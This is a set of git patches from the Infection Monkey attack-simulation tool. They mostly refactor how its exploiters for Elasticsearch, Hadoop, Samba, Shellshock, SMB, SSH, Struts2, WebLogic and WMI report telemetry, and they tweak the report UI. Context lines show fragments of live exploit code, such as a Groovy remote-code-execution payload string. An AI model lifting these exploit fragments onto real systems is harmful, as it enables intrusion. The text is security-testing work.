100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -1,8 +1,8 @@ import logging -from cc.services.attack.technique_reports import T1210, T1197 -from cc.services.attack.attack_telem import get_latest_telem -from cc.services.attack.attack_config import get_technique_values -from cc.database import mongo +from monkey_island.cc.services.attack.technique_reports import T1210, T1197 +from monkey_island.cc.services.attack.attack_telem import get_latest_telem +from monkey_island.cc.services.attack.attack_config import get_technique_values +from monkey_island.cc.database import mongo __author__ = "VakarisZ" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py index 1b3b9e708..2685540b7 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py @@ -1,5 +1,5 @@ from monkey_island.cc.services.attack.technique_reports.technique_service import * -from cc.database import mongo +from monkey_island.cc.database import mongo __author__ = "VakarisZ" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py index b796b93a5..d93652238 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py @@ -1,5 +1,4 @@ from monkey_island.cc.services.attack.technique_reports.technique_service import * -from cc.services.report import ReportService from common.utils.attack_utils import ScanStatus __author__ = "VakarisZ" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/technique_service.py b/monkey/monkey_island/cc/services/attack/technique_reports/technique_service.py index e412bea8f..3538b543d 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/technique_service.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/technique_service.py @@ -1,6 +1,6 @@ -from cc.database import mongo +from monkey_island.cc.database import mongo from common.utils.attack_utils import ScanStatus -from cc.services.attack.attack_config import get_technique +from monkey_island.cc.services.attack.attack_config import get_technique __author__ = "VakarisZ" diff --git a/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js index ff3714ef9..6197e47ce 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js @@ -104,7 +104,6 @@ class AttackReportPageComponent extends AuthComponent { generateReportContent(){ let content = []; - console.log(this.state.report); Object.keys(this.state.report).forEach((tech_id) => { content.push(this.getTechniqueCollapse(tech_id)) }); From c32d07ae343fac88bbf425ab28eba8e007d9b5b3 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 17 Apr 2019 11:57:33 +0300 Subject: [PATCH 045/598] T1210 refactored. Instead of dedicated telems, relevant info is appended to 'scan' and 'exploit' telemetries --- monkey/infection_monkey/exploit/__init__.py | 17 +++++++ .../infection_monkey/exploit/elasticgroovy.py | 4 +- monkey/infection_monkey/exploit/hadoop.py | 6 +-- monkey/infection_monkey/exploit/rdpgrinder.py | 2 + monkey/infection_monkey/exploit/sambacry.py | 6 +-- monkey/infection_monkey/exploit/shellshock.py | 6 +-- monkey/infection_monkey/exploit/smbexec.py | 15 +++---- monkey/infection_monkey/exploit/sshexec.py | 8 ++-- monkey/infection_monkey/exploit/struts2.py | 6 +-- monkey/infection_monkey/exploit/weblogic.py | 6 +-- monkey/infection_monkey/exploit/wmiexec.py | 6 +-- monkey/infection_monkey/network/__init__.py | 20 ++++++++- .../infection_monkey/network/elasticfinger.py | 6 +-- monkey/infection_monkey/network/httpfinger.py | 6 +-- .../network/mssql_fingerprint.py | 14 +++--- .../infection_monkey/network/mysqlfinger.py | 8 +--- monkey/infection_monkey/network/smbfinger.py | 7 ++- monkey/infection_monkey/network/sshfinger.py | 7 ++- .../infection_monkey/network/tcp_scanner.py | 7 +-- .../transport/attack_telems/base_telem.py | 14 +----- monkey/infection_monkey/utils.py | 11 ++++- .../attack/technique_reports/T1210.py | 45 ++++++++++++------- .../cc/ui/src/components/attack/T1210.js | 32 ++++++++----- 23 files changed, 141 insertions(+), 118 deletions(-) diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 0d4300b5f..41f82e50e 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -1,6 +1,7 @@ from abc import ABCMeta, abstractmethod import infection_monkey.config from common.utils.exploit_enum import ExploitType +from infection_monkey.utils import get_current_time_string __author__ = 'itamar' @@ -12,6 +13,7 @@ class HostExploiter(object): # Usual values are 'vulnerability' or 'brute_force' EXPLOIT_TYPE = ExploitType.VULNERABILITY + _EXPLOITED_SERVICE = '' def __init__(self, host): self._config = infection_monkey.config.WormConfiguration @@ -37,6 +39,21 @@ class HostExploiter(object): def exploit_host(self): raise NotImplementedError() + def add_vuln_service_info(self, port=None, url=None): + if port: + service_endpoint = port + elif url: + service_endpoint = url + else: + raise NotImplementedError("You must pass either port or url to add a vulnerable service info.") + if not self._EXPLOITED_SERVICE: + raise NotImplementedError("You must override _EXPLOITED_SERVICE to name a service this exploiter " + "is targeting") + self._exploit_info['exploited_service'] = {'name': self._EXPLOITED_SERVICE, + 'endpoint': service_endpoint, + 'time': get_current_time_string()} + return + from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter from infection_monkey.exploit.wmiexec import WmiExploiter diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index eb6a3615c..b40d01f0a 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -29,6 +29,7 @@ class ElasticGroovyExploiter(WebRCE): % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" _TARGET_OS_TYPE = ['linux', 'windows'] + _EXPLOITED_SERVICE = 'Elastic search' def __init__(self, host): super(ElasticGroovyExploiter, self).__init__(host) @@ -58,8 +59,7 @@ class ElasticGroovyExploiter(WebRCE): result = self.get_results(response) if not result: return False - VictimHostTelem('T1210', ScanStatus.USED.value, - self.host, {'url': url, 'service': 'Elastic search'}).send() + self.add_vuln_service_info(url=url) return result[0] def upload_monkey(self, url, commands=None): diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 059ffb9da..ef2fa506e 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -13,8 +13,6 @@ import posixpath from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth from infection_monkey.model import MONKEY_ARG, ID_STRING, HADOOP_WINDOWS_COMMAND, HADOOP_LINUX_COMMAND -from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem -from common.utils.attack_utils import ScanStatus __author__ = 'VakarisZ' @@ -23,6 +21,7 @@ LOG = logging.getLogger(__name__) class HadoopExploiter(WebRCE): _TARGET_OS_TYPE = ['linux', 'windows'] + _EXPLOITED_SERVICE = 'Hadoop' HADOOP_PORTS = [["8088", False]] # How long we have our http server open for downloads in seconds DOWNLOAD_TIMEOUT = 60 @@ -50,8 +49,7 @@ class HadoopExploiter(WebRCE): return False http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() - VictimHostTelem('T1210', ScanStatus.USED.value, - self.host, {'url': self.vulnerable_urls[0], 'service': 'Hadoop'}).send() + self.add_vuln_service_info(url=self.vulnerable_urls[0]) return True def exploit(self, url, command): diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py index 28b1b7c70..c7b3e1c71 100644 --- a/monkey/infection_monkey/exploit/rdpgrinder.py +++ b/monkey/infection_monkey/exploit/rdpgrinder.py @@ -239,6 +239,7 @@ class RdpExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] EXPLOIT_TYPE = ExploitType.BRUTE_FORCE + _EXPLOITED_SERVICE = 'RDP' def __init__(self, host): super(RdpExploiter, self).__init__(host) @@ -316,6 +317,7 @@ class RdpExploiter(HostExploiter): if client_factory.success: if not self._config.rdp_use_vbs_download: VictimHostTelem("T1197", ScanStatus.USED.value, self.host, BITS_UPLOAD_STRING) + self.add_vuln_service_info(port=RDP_PORT) exploited = True self.report_login_attempt(True, user, password) break diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index 5bc93ff28..143c15c83 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -21,8 +21,6 @@ from infection_monkey.model import DROPPER_ARG from infection_monkey.network.smbfinger import SMB_SERVICE from infection_monkey.exploit.tools import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth from infection_monkey.pyinstaller_utils import get_binary_file_path -from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem -from common.utils.attack_utils import ScanStatus __author__ = 'itay.mizeretz' @@ -36,6 +34,7 @@ class SambaCryExploiter(HostExploiter): """ _TARGET_OS_TYPE = ['linux'] + _EXPLOITED_SERVICE = "Samba" # Name of file which contains the monkey's commandline SAMBACRY_COMMANDLINE_FILENAME = "monkey_commandline.txt" # Name of file which contains the runner's result @@ -90,8 +89,7 @@ class SambaCryExploiter(HostExploiter): LOG.info( "Shares triggered successfully on host %s: %s" % ( self.host.ip_addr, str(successfully_triggered_shares))) - VictimHostTelem('T1210', ScanStatus.USED.value, - self.host, {'port': '139/445', 'service': 'Samba'}).send() + self.add_vuln_service_info(port='139 or 445') return True else: LOG.info("No shares triggered successfully on host %s" % self.host.ip_addr) diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index feeb0ccf2..698a3fa25 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -11,8 +11,6 @@ from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_mon from infection_monkey.model import DROPPER_ARG from infection_monkey.exploit.shellshock_resources import CGI_FILES from infection_monkey.exploit.tools import build_monkey_commandline -from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem -from common.utils.attack_utils import ScanStatus __author__ = 'danielg' @@ -28,6 +26,7 @@ class ShellShockExploiter(HostExploiter): } _TARGET_OS_TYPE = ['linux'] + _EXPLOITED_SERVICE = 'Bash' def __init__(self, host): super(ShellShockExploiter, self).__init__(host) @@ -145,8 +144,7 @@ class ShellShockExploiter(HostExploiter): if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)): LOG.info("Log file does not exist, monkey might not have run") continue - VictimHostTelem('T1210', ScanStatus.USED.value, - self.host, {'url': url, 'service': 'Bash'}).send() + self.add_vuln_service_info(url=url) return True return False diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 8c1469831..7edd4b528 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -10,8 +10,6 @@ from infection_monkey.network import SMBFinger from infection_monkey.network.tools import check_tcp_port from infection_monkey.exploit.tools import build_monkey_commandline from common.utils.exploit_enum import ExploitType -from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem -from common.utils.attack_utils import ScanStatus LOG = getLogger(__name__) @@ -19,6 +17,7 @@ LOG = getLogger(__name__) class SmbExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] EXPLOIT_TYPE = ExploitType.BRUTE_FORCE + _EXPLOITED_SERVICE = 'SMB' KNOWN_PROTOCOLS = { '139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139), '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445), @@ -70,10 +69,8 @@ class SmbExploiter(HostExploiter): LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)", self.host, user, password, lm_hash, ntlm_hash) self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) - VictimHostTelem('T1210', ScanStatus.USED.value, self.host, - {'port': ("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1], - SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1])), - 'service': 'SMB'}).send() + self.add_vuln_service_info(port=("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1], + SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1]))) exploited = True break else: @@ -143,8 +140,6 @@ class SmbExploiter(HostExploiter): LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", remote_full_path, self.host, cmdline) - VictimHostTelem('T1210', ScanStatus.USED.value, self.host, - {'port': ("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1], - SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1])), - 'service': 'Elastic'}).send() + self.add_vuln_service_info(port=("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1], + SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1]))) return True diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 8dcd56175..1fd954fec 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -11,8 +11,6 @@ from infection_monkey.model import MONKEY_ARG from infection_monkey.network.tools import check_tcp_port from infection_monkey.exploit.tools import build_monkey_commandline from common.utils.exploit_enum import ExploitType -from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem -from common.utils.attack_utils import ScanStatus __author__ = 'hoffer' @@ -24,6 +22,7 @@ TRANSFER_UPDATE_RATE = 15 class SSHExploiter(HostExploiter): _TARGET_OS_TYPE = ['linux', None] EXPLOIT_TYPE = ExploitType.BRUTE_FORCE + _EXPLOITED_SERVICE = 'SSH' def __init__(self, host): super(SSHExploiter, self).__init__(host) @@ -83,12 +82,11 @@ class SSHExploiter(HostExploiter): LOG.debug("Successfully logged in %r using SSH (%s : %s)", self.host, user, curpass) exploited = True - VictimHostTelem('T1210', ScanStatus.USED.value, - self.host, {'port': port, 'service': 'SSH'}).send() + self.add_vuln_service_info(port=port) self.report_login_attempt(True, user, curpass) break - except Exception as exc: + except paramiko.AuthenticationException as exc: LOG.debug("Error logging into victim %r with user" " %s and password '%s': (%s)", self.host, user, curpass, exc) diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py index 96e2d7da6..f1bce7d3b 100644 --- a/monkey/infection_monkey/exploit/struts2.py +++ b/monkey/infection_monkey/exploit/struts2.py @@ -10,8 +10,6 @@ import re import logging from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem -from common.utils.attack_utils import ScanStatus __author__ = "VakarisZ" @@ -22,6 +20,7 @@ DOWNLOAD_TIMEOUT = 300 class Struts2Exploiter(WebRCE): _TARGET_OS_TYPE = ['linux', 'windows'] + _EXPLOITED_SERVICE = 'Struts2' def __init__(self, host): super(Struts2Exploiter, self).__init__(host, None) @@ -93,6 +92,5 @@ class Struts2Exploiter(WebRCE): except httplib.IncompleteRead as e: page = e.partial - VictimHostTelem('T1210', ScanStatus.USED.value, - self.host, {'url': url, 'service': 'Struts2'}).send() + self.add_vuln_service_info(url=url) return page diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index 4f06efec0..584883216 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -10,8 +10,6 @@ from requests import post, exceptions from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer -from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem -from common.utils.attack_utils import ScanStatus import threading import logging @@ -46,6 +44,7 @@ HEADERS = { class WebLogicExploiter(WebRCE): _TARGET_OS_TYPE = ['linux', 'windows'] + _EXPLOITED_SERVICE = 'Weblogic' def __init__(self, host): super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh', @@ -70,8 +69,7 @@ class WebLogicExploiter(WebRCE): print('[!] Connection Error') print(e) - VictimHostTelem('T1210', ScanStatus.USED.value, - self.host, {'url': url, 'service': 'Weblogic'}).send() + self.add_vuln_service_info(url=url) return True def add_vulnerable_urls(self, urls, stop_checking=False): diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index f92e23639..2db2321e0 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -10,8 +10,6 @@ from infection_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedExcep get_monkey_depth, build_monkey_commandline from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from common.utils.exploit_enum import ExploitType -from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem -from common.utils.attack_utils import ScanStatus LOG = logging.getLogger(__name__) @@ -19,6 +17,7 @@ LOG = logging.getLogger(__name__) class WmiExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] EXPLOIT_TYPE = ExploitType.BRUTE_FORCE + _EXPLOITED_SERVICE = 'WMI (Windows Management Instrumentation)' def __init__(self, host): super(WmiExploiter, self).__init__(host) @@ -106,8 +105,7 @@ class WmiExploiter(HostExploiter): LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline) - VictimHostTelem('T1210', ScanStatus.USED.value, - self.host, {'port': 'unknown', 'service': 'WMI'}).send() + self.add_vuln_service_info(port='unknown') success = True else: LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", diff --git a/monkey/infection_monkey/network/__init__.py b/monkey/infection_monkey/network/__init__.py index e43fa7073..b298be0c7 100644 --- a/monkey/infection_monkey/network/__init__.py +++ b/monkey/infection_monkey/network/__init__.py @@ -1,4 +1,5 @@ from abc import ABCMeta, abstractmethod +from infection_monkey.utils import get_current_time_string __author__ = 'itamar' @@ -14,10 +15,27 @@ class HostScanner(object): class HostFinger(object): __metaclass__ = ABCMeta + _SCANNED_SERVICE = '' + + def format_service_info(self, port=None, url=None): + if port: + service_endpoint = port + elif url: + service_endpoint = url + else: + raise NotImplementedError("You must pass either port or url to get formatted service info.") + if not self._SCANNED_SERVICE: + raise NotImplementedError("You must override _SCANNED_SERVICE property" + " to name what service is being scanned.") + return {'display_name': self._SCANNED_SERVICE, + 'endpoint': service_endpoint, + 'time': get_current_time_string()} + @abstractmethod def get_host_fingerprint(self, host): raise NotImplementedError() + from infection_monkey.network.ping_scanner import PingScanner from infection_monkey.network.tcp_scanner import TcpScanner from infection_monkey.network.smbfinger import SMBFinger @@ -26,4 +44,4 @@ from infection_monkey.network.httpfinger import HTTPFinger from infection_monkey.network.elasticfinger import ElasticFinger from infection_monkey.network.mysqlfinger import MySQLFinger from infection_monkey.network.info import local_ips, get_free_tcp_port -from infection_monkey.network.mssql_fingerprint import MSSQLFinger \ No newline at end of file +from infection_monkey.network.mssql_fingerprint import MSSQLFinger diff --git a/monkey/infection_monkey/network/elasticfinger.py b/monkey/infection_monkey/network/elasticfinger.py index f9f869ce9..c8b720722 100644 --- a/monkey/infection_monkey/network/elasticfinger.py +++ b/monkey/infection_monkey/network/elasticfinger.py @@ -8,8 +8,6 @@ from requests.exceptions import Timeout, ConnectionError import infection_monkey.config from infection_monkey.model.host import VictimHost from infection_monkey.network import HostFinger -from common.utils.attack_utils import ScanStatus -from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem ES_PORT = 9200 ES_SERVICE = 'elastic-search-9200' @@ -22,6 +20,7 @@ class ElasticFinger(HostFinger): """ Fingerprints elastic search clusters, only on port 9200 """ + _SCANNED_SERVICE = 'Elastic search' def __init__(self): self._config = infection_monkey.config.WormConfiguration @@ -41,8 +40,7 @@ class ElasticFinger(HostFinger): host.services[ES_SERVICE]['cluster_name'] = data['cluster_name'] host.services[ES_SERVICE]['name'] = data['name'] host.services[ES_SERVICE]['version'] = data['version']['number'] - VictimHostTelem('T1210', ScanStatus.SCANNED.value, - host, {'port': ES_PORT, 'service': 'Elastic'}).send() + host.services[ES_SERVICE].update(self.format_service_info(url=url)) return True except Timeout: LOG.debug("Got timeout while trying to read header information") diff --git a/monkey/infection_monkey/network/httpfinger.py b/monkey/infection_monkey/network/httpfinger.py index 1b686f110..55bdcb1f1 100644 --- a/monkey/infection_monkey/network/httpfinger.py +++ b/monkey/infection_monkey/network/httpfinger.py @@ -1,8 +1,6 @@ import infection_monkey.config from infection_monkey.network import HostFinger from infection_monkey.model.host import VictimHost -from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem -from common.utils.attack_utils import ScanStatus import logging LOG = logging.getLogger(__name__) @@ -12,6 +10,7 @@ class HTTPFinger(HostFinger): """ Goal is to recognise HTTP servers, where what we currently care about is apache. """ + _SCANNED_SERVICE = 'HTTP' def __init__(self): self._config = infection_monkey.config.WormConfiguration @@ -42,8 +41,7 @@ class HTTPFinger(HostFinger): host.services['tcp-' + port[1]]['name'] = 'http' host.services['tcp-' + port[1]]['data'] = (server,ssl) LOG.info("Port %d is open on host %s " % (port[0], host)) - VictimHostTelem('T1210', ScanStatus.SCANNED.value, - host, {'port': port[0], 'service': 'HTTP/HTTPS'}).send() + host.services['tcp-' + port[1]].update(self.format_service_info(port=port[0])) break # https will be the same on the same port except Timeout: pass diff --git a/monkey/infection_monkey/network/mssql_fingerprint.py b/monkey/infection_monkey/network/mssql_fingerprint.py index 08fc62e7a..dba614c85 100644 --- a/monkey/infection_monkey/network/mssql_fingerprint.py +++ b/monkey/infection_monkey/network/mssql_fingerprint.py @@ -4,8 +4,6 @@ import socket from infection_monkey.model.host import VictimHost from infection_monkey.network import HostFinger import infection_monkey.config -from common.utils.attack_utils import ScanStatus -from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem __author__ = 'Maor Rayzin' @@ -18,7 +16,7 @@ class MSSQLFinger(HostFinger): SQL_BROWSER_DEFAULT_PORT = 1434 BUFFER_SIZE = 4096 TIMEOUT = 5 - SERVICE_NAME = 'MSSQL' + _SCANNED_SERVICE = 'MSSQL' def __init__(self): self._config = infection_monkey.config.WormConfiguration @@ -65,22 +63,20 @@ class MSSQLFinger(HostFinger): sock.close() return False - host.services[self.SERVICE_NAME] = {} + host.services[self._SCANNED_SERVICE] = {} # Loop through the server data instances_list = data[3:].decode().split(';;') LOG.info('{0} MSSQL instances found'.format(len(instances_list))) - VictimHostTelem('T1210', ScanStatus.SCANNED.value, - host, {'port': MSSQLFinger.SQL_BROWSER_DEFAULT_PORT, 'service': 'MsSQL'}).send() for instance in instances_list: instance_info = instance.split(';') if len(instance_info) > 1: - host.services[self.SERVICE_NAME][instance_info[1]] = {} + host.services[self._SCANNED_SERVICE][instance_info[1]] = {} for i in range(1, len(instance_info), 2): # Each instance's info is nested under its own name, if there are multiple instances # each will appear under its own name - host.services[self.SERVICE_NAME][instance_info[1]][instance_info[i - 1]] = instance_info[i] - + host.services[self._SCANNED_SERVICE][instance_info[1]][instance_info[i - 1]] = instance_info[i] + host.services[self._SCANNED_SERVICE].update(self.format_service_info(port=MSSQLFinger.SQL_BROWSER_DEFAULT_PORT)) # Close the socket sock.close() diff --git a/monkey/infection_monkey/network/mysqlfinger.py b/monkey/infection_monkey/network/mysqlfinger.py index 05c5e9522..b1b1a6164 100644 --- a/monkey/infection_monkey/network/mysqlfinger.py +++ b/monkey/infection_monkey/network/mysqlfinger.py @@ -5,12 +5,9 @@ import infection_monkey.config from infection_monkey.model.host import VictimHost from infection_monkey.network import HostFinger from infection_monkey.network.tools import struct_unpack_tracker, struct_unpack_tracker_string -from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem -from common.utils.attack_utils import ScanStatus MYSQL_PORT = 3306 SQL_SERVICE = 'mysqld-3306' - LOG = logging.getLogger(__name__) @@ -18,7 +15,7 @@ class MySQLFinger(HostFinger): """ Fingerprints mysql databases, only on port 3306 """ - + _SCANNED_SERVICE = 'MySQL' SOCKET_TIMEOUT = 0.5 HEADER_SIZE = 4 # in bytes @@ -61,8 +58,7 @@ class MySQLFinger(HostFinger): host.services[SQL_SERVICE]['minor_version'] = version[1] host.services[SQL_SERVICE]['build_version'] = version[2] thread_id, curpos = struct_unpack_tracker(data, curpos, " renderMachine(x), style: { 'whiteSpace': 'unset' }, width: 200}, - {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170}, - {Header: 'Port/url', id: 'port', accessor: x =>renderPort(x), style: { 'whiteSpace': 'unset' }}, - {Header: 'Service', id: 'service', accessor: x => x.service, style: { 'whiteSpace': 'unset' }} + {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), + style: { 'whiteSpace': 'unset' }, width: 200}, + {Header: 'Time', id: 'time', accessor: x => x.service.time, style: { 'whiteSpace': 'unset' }, width: 170}, + {Header: 'Port/url', id: 'port', accessor: x =>x.service.endpoint, style: { 'whiteSpace': 'unset' }}, + {Header: 'Service', id: 'service', accessor: x => x.service.name, style: { 'whiteSpace': 'unset' }} ] } ]; @@ -35,7 +40,7 @@ class T1210 extends React.Component { super(props); } - renderFoundServices(data) { + renderScannedServices(data) { return (

      @@ -64,11 +69,14 @@ class T1210 extends React.Component { } render() { + let scanned_services = this.props.data.scanned_services.map(formatScanned).flat(); + console.log(scanned_services); + console.log(this.props.data); return (
      {this.props.data.message}
      - {this.props.data.found_services.length > 0 ? - this.renderFoundServices(this.props.data.found_services) : ''} + {scanned_services.length > 0 ? + this.renderScannedServices(scanned_services) : ''} {this.props.data.exploited_services.length > 0 ? this.renderExploitedServices(this.props.data.exploited_services) : ''}
      From ef90d8a788d470eadb3f531c473cb771dee6448a Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 17 Apr 2019 13:52:04 +0300 Subject: [PATCH 046/598] Added legend and improved matrix UI --- .../cc/ui/src/components/pages/AttackPage.js | 21 ++++++++++++++++++- .../cc/ui/src/styles/Checkbox.scss | 21 ++++++++++++++----- 2 files changed, 36 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/AttackPage.js b/monkey/monkey_island/cc/ui/src/components/pages/AttackPage.js index 397f558e9..d0db2d1c4 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/AttackPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/AttackPage.js @@ -2,6 +2,8 @@ import React from 'react'; import AuthComponent from '../AuthComponent'; import 'filepond/dist/filepond.min.css'; import MatrixComponent from '../attack/MatrixComponent' +import {Col} from "react-bootstrap"; +import '../../styles/Checkbox.scss' class AttackComponent extends AuthComponent { constructor(props) { @@ -38,7 +40,24 @@ class AttackComponent extends AuthComponent { if (Object.keys(this.state.configuration).length === 0) { content = (

      Fetching configuration...

      ); } else { - content = (); + content = ( +
      + + +
      ); } return
      {content}
      ; } diff --git a/monkey/monkey_island/cc/ui/src/styles/Checkbox.scss b/monkey/monkey_island/cc/ui/src/styles/Checkbox.scss index b590b2a08..03cd38370 100644 --- a/monkey/monkey_island/cc/ui/src/styles/Checkbox.scss +++ b/monkey/monkey_island/cc/ui/src/styles/Checkbox.scss @@ -1,7 +1,7 @@ // colors $light-grey: #EAF4F4; $medium-grey: #7B9EA8; -$dark-grey: #7a7d7b; +$dark-green: #007d02; $green: #44CF6C; $black: #000000; @@ -34,13 +34,12 @@ $black: #000000; } &.blocked { - background-color: $dark-grey; - color: $black; - fill: $black; + background-color: $dark-green; + color: $light-grey; + fill: $light-grey; } &.is-checked { - border: 1px solid $green; background-color: $green; color: white; fill: white; @@ -92,3 +91,15 @@ $black: #000000; background-color: rgba(white, .08); } } + +.icon-checked{ + color:$green +} + +.icon-mandatory{ + color:$dark-green +} + +.icon-unchecked{ + color:$black; +} From b17dbdc9de10e0f89a1f3aef43969ce98702d29b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 17 Apr 2019 13:58:52 +0300 Subject: [PATCH 047/598] Legend style fix --- monkey/monkey_island/cc/ui/src/styles/App.css | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/monkey/monkey_island/cc/ui/src/styles/App.css b/monkey/monkey_island/cc/ui/src/styles/App.css index 8b1c45d7a..7303603b9 100644 --- a/monkey/monkey_island/cc/ui/src/styles/App.css +++ b/monkey/monkey_island/cc/ui/src/styles/App.css @@ -520,3 +520,8 @@ body { .attack-matrix .messages { margin-bottom: 30px; } + +.attack-legend { + text-align: center; + margin-bottom: 20px; +} From 9e5292dc8e87ee55130a6ca9eaac5a18ea2edf1d Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Thu, 18 Apr 2019 20:48:24 +0200 Subject: [PATCH 048/598] Update vsftpd.py implemented 3 functions socket_connect, socket_send,socket_send_recv to handle the exception as advised. --- monkey/infection_monkey/exploit/vsftpd.py | 190 +++++++++++++--------- 1 file changed, 116 insertions(+), 74 deletions(-) diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index bf36adfe0..c4db287dc 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -30,92 +30,134 @@ class VSFTPDExploiter(HostExploiter): super(VSFTPDExploiter, self).__init__(host) self.skip_exist = self._config.skip_exploit_if_file_exist - def exploit_host(self): + def socket_connect(s,ip_addr,port): try: - LOG.info('Attempting to 